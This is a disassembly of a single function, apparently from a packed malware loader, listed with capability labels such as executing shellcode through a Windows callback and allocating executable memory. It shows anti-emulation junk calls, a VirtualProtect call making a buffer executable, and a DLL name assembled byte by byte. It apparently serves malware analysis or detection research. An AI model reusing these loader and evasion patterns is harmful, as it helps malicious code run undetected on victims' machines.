Function at 0x421ec0
Capabilities:
Accept command line arguments
Allocate or change rwx memory
Copy file
Delete file
Execute shellcode via indirect call
Execute shellcode via windows callback function
Get disk information
Get file attributes
Get geographical location
Get hostname
Manipulate console buffer
Move file
Query environment variable
Read .ini file
Receive http response

Disassembly:
push ebp
mov ebp, esp
and esp, 0xffffffc0
mov eax, 0x29f0
call fcn.0040ce30
push ebx
mov ebx, dword [sym.imp.KERNEL32.dll_GetLastError]
push ebp
mov ebp, dword [esp + 0x44]
push esi
push edi
mov edi, dword [sym.imp.USER32.dll_CharUpperBuffA]
xor esi, esi
cmp esi, 0x1e174
jge 0x421ef6
push 0
push 0
call edi
call ebx
cmp esi, 0x1e9b1d96
jle 0x421f13
cmp ebp, 0xc096a0
je 0x421f13
cmp dword [esp + 0x98], 0x95f3220
jne 0x421f1c
inc esi
cmp esi, 0x98b86
jl 0x421ee6
cmp dword [0x7c15b8], 0xcf8
jne 0x421f70
fldz
sub esp, 8
fstp qword [esp]
call fcn.00405320
fstp st(0)
fldz
fstp qword [esp]
call fcn.004054f0
fstp st(0)
push 0
push 0
call fcn.00404e31
push 0
push 0
call fcn.00404e9e
push 0
call fcn.004056be
add esp, 0x1c
push 0
call fcn.0040580d
add esp, 4
push 0
call fcn.004052c7
mov edi, dword [sym.imp.KERNEL32.dll_GetConsoleAliasesLengthW]
mov ebx, dword [sym.imp.KERNEL32.dll_SetSystemPowerState]
mov ebp, dword [sym.imp.KERNEL32.dll_FindFirstVolumeW]
xor esi, esi
cmp esi, 0x408
jne 0x421f97
mov eax, 0x5d1
add dword [0x7c15b8], eax
cmp dword [0x7c15b8], 3
jne 0x421fb6
push 0
call edi
push 0
push 0
call ebx
push 0
lea eax, [esp + 0x604]
push eax
call ebp
inc esi
cmp esi, 0x1518d4
jl 0x421f84
mov ecx, dword [0x7c15b8]
push ecx
push 0
call dword [sym.imp.KERNEL32.dll_LocalAlloc]
mov dword [0x44161c], eax
mov eax, dword [0x7c15b8]
xor esi, esi
test eax, eax
je 0x42208d
mov edi, dword [sym.imp.KERNEL32.dll_GetDriveTypeA]
mov ebx, dword [sym.imp.KERNEL32.dll_SetThreadUILanguage]
mov ebp, dword [sym.imp.KERNEL32.dll_FatalAppExitA]
cmp eax, 0xfe
jne 0x42205c
push 0
call edi
push 0
call ebx
xor edx, edx
lea ecx, [esp + 0x4c]
push ecx
push edx
push edx
lea eax, [esp + 0x60c]
push eax
push edx
mov dword [esp + 0x64], edx
call dword [sym.imp.KERNEL32.dll_ReadConsoleOutputCharacterW]
push 0x4046d8
push 0
call ebp
lea ecx, [esp + 0x68]
xor eax, eax
push ecx
lea edx, [esp + 0x90]
push edx
push 0x4046e8
mov dword [esp + 0x74], eax
mov dword [esp + 0x78], eax
mov dword [esp + 0x7c], eax
mov dword [esp + 0x80], eax
mov dword [esp + 0x84], eax
call dword [sym.imp.KERNEL32.dll_BuildCommDCBAndTimeoutsW]
call fcn.00421ad0
mov eax, dword [0x7c15b8]
cmp eax, 0x29
jne 0x422084
call dword [sym.imp.KERNEL32.dll_GetEnvironmentStringsW]
push 0
push 0
push 0
push 0
call dword [sym.imp.KERNEL32.dll_FindResourceExA]
mov eax, dword [0x7c15b8]
inc esi
cmp esi, eax
jb 0x421ff4
cmp eax, 0x70
jne 0x422134
push 0
lea eax, [esp + 0xe04]
push eax
call dword [sym.imp.KERNEL32.dll_GetConsoleAliasExesA]
push 0
push 0
call dword [sym.imp.KERNEL32.dll_MoveFileW]
push 0x40479c
call dword [sym.imp.KERNEL32.dll_DeleteVolumeMountPointW]
mov edi, dword [sym.imp.KERNEL32.dll_EnumSystemCodePagesA]
push 0
push 0
call edi
mov esi, dword [sym.imp.KERNEL32.dll_GetEnvironmentStrings]
call esi
call esi
push 0x4047b0
push 0
push 0
call dword [sym.imp.KERNEL32.dll_OpenJobObjectA]
push 0
lea ecx, [esp + 0x50]
push ecx
push 0
push 0
call dword [sym.imp.KERNEL32.dll_GetTapeParameters]
push 0
push 0
lea edx, [esp + 0x608]
push edx
call dword [sym.imp.KERNEL32.dll_GetConsoleAliasesW]
push 0
lea eax, [esp + 0x204]
push eax
push 0
push 0
call dword [sym.imp.KERNEL32.dll_GetLocaleInfoA]
push 0
push 0
call edi
push 0x4047cc
push 0x404800
push 0
call dword [sym.imp.KERNEL32.dll_FindResourceW]
mov eax, dword [0x7c15b8]
mov ebp, dword [sym.imp.KERNEL32.dll_OpenSemaphoreW]
mov ebx, dword [sym.imp.KERNEL32.dll_FindClose]
mov esi, dword [sym.imp.KERNEL32.dll_EnumTimeFormatsA]
mov edi, dword [sym.imp.KERNEL32.dll_InterlockedDecrement]
mov dword [esp + 0x4c], 0x9682ab
cmp eax, 3
jne 0x42216e
lea ecx, [esp + 0xc0]
push ecx
push 0
call dword [sym.imp.KERNEL32.dll_FindNextFileA]
mov eax, dword [0x7c15b8]
cmp eax, 0xdf
jne 0x422341
push 0x404840
push 0
push 0
call ebp
push 0
call ebx
xor edx, edx
lea ecx, [esp + 0x7c]
push ecx
push edx
push edx
lea eax, [esp + 0x120c]
push eax
push edx
mov dword [esp + 0x64], edx
call dword [sym.imp.KERNEL32.dll_ReadConsoleOutputCharacterW]
push 0
push 0
push 0
call dword [sym.imp.KERNEL32.dll_CommConfigDialogA]
push 0x40485c
push 0x404870
call dword [sym.imp.KERNEL32.dll_SetVolumeLabelA]
push 0
push 0
push 0
call esi
lea ecx, [esp + 0x58]
push ecx
call edi
mov edx, dword [esp + 0x58]
push edx
push 0
call dword [sym.imp.KERNEL32.dll_GetConsoleMode]
push 0
push 0
push 0
call dword [sym.imp.KERNEL32.dll_GetPrivateProfileSectionNamesA]
push 0
lea eax, [esp + 0x1a04]
push eax
push 0
call dword [sym.imp.KERNEL32.dll_GetAtomNameW]
push 0
call dword [sym.imp.KERNEL32.dll_DeleteFileA]
lea ecx, [esp + 0x5c]
push ecx
push 0
lea edx, [esp + 0x70]
push edx
push 0
call dword [sym.imp.KERNEL32.dll_ReadConsoleInputA]
push 0x404890
push 0
push 0
call dword [sym.imp.KERNEL32.dll_OpenJobObjectA]
push 0
push 0
push 0
call esi
push 0
push 0
call dword [sym.imp.KERNEL32.dll_WaitNamedPipeW]
lea eax, [esp + 0x64]
push eax
call edi
lea ecx, [esp + 0x60]
push ecx
push 0x4048a4
push 0
call dword [sym.imp.KERNEL32.dll_GetModuleHandleExW]
push 0
call dword [sym.imp.KERNEL32.dll_AddAtomA]
push 0
push 0
call dword [sym.imp.KERNEL32.dll_EnumSystemCodePagesA]
push 0
call dword [sym.imp.KERNEL32.dll_HeapUnlock]
lea edx, [esp + 0x80]
push edx
call dword [sym.imp.KERNEL32.dll_QueryPerformanceCounter]
push 0
call dword [sym.imp.KERNEL32.dll_LoadLibraryW]
push 0
push 0
push 0
call dword [sym.imp.KERNEL32.dll_CopyFileA]
push 0
lea eax, [esp + 0x204]
push eax
push 0
call dword [sym.imp.KERNEL32.dll_FindNextVolumeMountPointA]
push 0x4048dc
push 0
push 0
push 0
call dword [sym.imp.KERNEL32.dll_SetCalendarInfoA]
push 0
lea ecx, [esp + 0x2204]
push ecx
push 0x4048f4
call dword [sym.imp.KERNEL32.dll_GetShortPathNameW]
push 0
lea edx, [esp + 0xe04]
push edx
push 0
call dword [sym.imp.KERNEL32.dll_GetVolumePathNameA]
push 0
push 0
push 0
call dword [sym.imp.KERNEL32.dll_GetVolumeNameForVolumeMountPointA]
push 0
call dword [sym.imp.KERNEL32.dll_SetComputerNameW]
push 0
call dword [sym.imp.KERNEL32.dll_GetFileAttributesW]
lea eax, [esp + 0x54]
push eax
lea ecx, [esp + 0x604]
push ecx
call dword [sym.imp.KERNEL32.dll_GetComputerNameA]
push 0x30
lea edx, [esp + 0x94]
push 0
push edx
mov dword [esp + 0x98], 0
call fcn.0040a310
add esp, 0xc
push 0
lea eax, [esp + 0x90]
push eax
push 0
call dword [sym.imp.KERNEL32.dll_SetDefaultCommConfigA]
call dword [sym.imp.KERNEL32.dll_GetConsoleCP]
mov eax, dword [0x7c15b8]
dec dword [esp + 0x4c]
jne 0x422154
mov edi, dword [sym.imp.USER32.dll_CharUpperW]
mov ebx, dword [sym.imp.KERNEL32.dll_SetLastError]
mov esi, 0x9c3c674
lea esp, [esp]
push 0
call edi
push 0
call ebx
dec esi
jne 0x422360
mov edx, dword [0x7c15b8]
mov eax, dword [0x44161c]
lea ecx, [esp + 0x54]
push ecx
push 0x40
push edx
push eax
mov byte [0x43c888], 0
call dword [sym.imp.KERNEL32.dll_VirtualProtect]
call fcn.00421d30
mov edi, dword [sym.imp.KERNEL32.dll_WriteConsoleInputA]
jmp 0x4223a0
cmp dword [0x7c15b8], 0xba
jne 0x4223b9
lea ecx, [esp + 0x54]
push ecx
push 0
push 0
push 0
call edi
cmp esi, 0x2f64
jne 0x4223cc
mov eax, 0x2a04
add dword [0x44161c], eax
inc esi
cmp esi, 0x1605a
jl 0x4223a0
mov esi, dword [sym.imp.WINHTTP.dll_WinHttpReadData]
mov edi, 0xf2b8b
cmp dword [0x7c15b8], 0x21
jne 0x4223f3
push 0
push 0
push 0
push 0
call esi
dec edi
jne 0x4223e0
push 0x43c888
mov dword [0x43c88a], 0x33676d69
mov word [0x43c888], 0x736d
mov dword [0x43c890], 0x6c6c64
mov word [0x43c88e], 0x2e32
call dword [sym.imp.KERNEL32.dll_LoadLibraryA]
cmp dword [0x7c15b8], 0xc30
jne 0x4224c8
push edi
call dword [sym.imp.KERNEL32.dll_GetModuleHandleA]
call dword [sym.imp.KERNEL32.dll_GetACP]
push edi
lea edx, [esp + 0x58]
push edx
push edi
lea eax, [esp + 0x60c]
push eax
push edi
call dword [sym.imp.KERNEL32.dll_ReadConsoleA]
push edi
lea ecx, [esp + 0x2204]
push ecx
lea edx, [esp + 0x68]
push edx
lea eax, [esp + 0x70]
push eax
lea ecx, [esp + 0x6c]
push ecx
lea edx, [esp + 0x6c]
push edx
push edi
call dword [sym.imp.KERNEL32.dll_GetNamedPipeHandleStateW]
push edi
call dword [sym.imp.KERNEL32.dll_FreeEnvironmentStringsA]
push edi
call dword [sym.imp.KERNEL32.dll_SetConsoleCP]
push edi
lea eax, [esp + 0x204]
push eax
push edi
call dword [sym.imp.KERNEL32.dll_VerLanguageNameA]
push 0x404930
push edi
push edi
call dword [sym.imp.KERNEL32.dll_OpenMutexW]
call dword [sym.imp.KERNEL32.dll_GetCommandLineA]
push edi
push edi
push edi
push edi
push edi
call dword [sym.imp.KERNEL32.dll_FoldStringW]
push edi
push edi
call dword [sym.imp.KERNEL32.dll_SetCommMask]
call dword [sym.imp.KERNEL32.dll_ConvertFiberToThread]
pop edi
xor eax, eax
pop esi
pop ebp
pop ebx
mov esp, ebp
pop ebp
ret